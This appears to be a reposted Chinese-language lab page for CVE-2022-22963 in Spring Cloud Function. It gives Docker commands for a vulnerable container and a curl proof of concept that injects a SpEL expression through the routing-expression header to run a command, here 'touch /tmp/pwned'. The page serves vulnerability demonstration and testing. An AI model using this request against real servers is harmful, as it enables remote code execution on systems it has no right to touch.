CVE-2022-22963 — Spring Cloud Function 漏洞应用程序 / CVE-2022-22963 | Kitploit

Spring Cloud Function 漏洞(CVE-2022-22963)

存在 CVE-2022-22963 漏洞的应用程序

CVE-2022-22963 漏洞利用演示

https://user-images.githubusercontent.com/57348147/161266562-51d025f0-54d4-488f-ac50-2317e29bfbdf.mp4

构建

docker pull me2nuk/cves:2022-22963
docker run -it -p 8080:8080 --name=vuln me2nuk/cves:2022-22963

POC

curl -X POST  http://0.0.0.0:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")' --data-raw 'data' -v
docker exec -it --user=root vuln ls /tmp

参考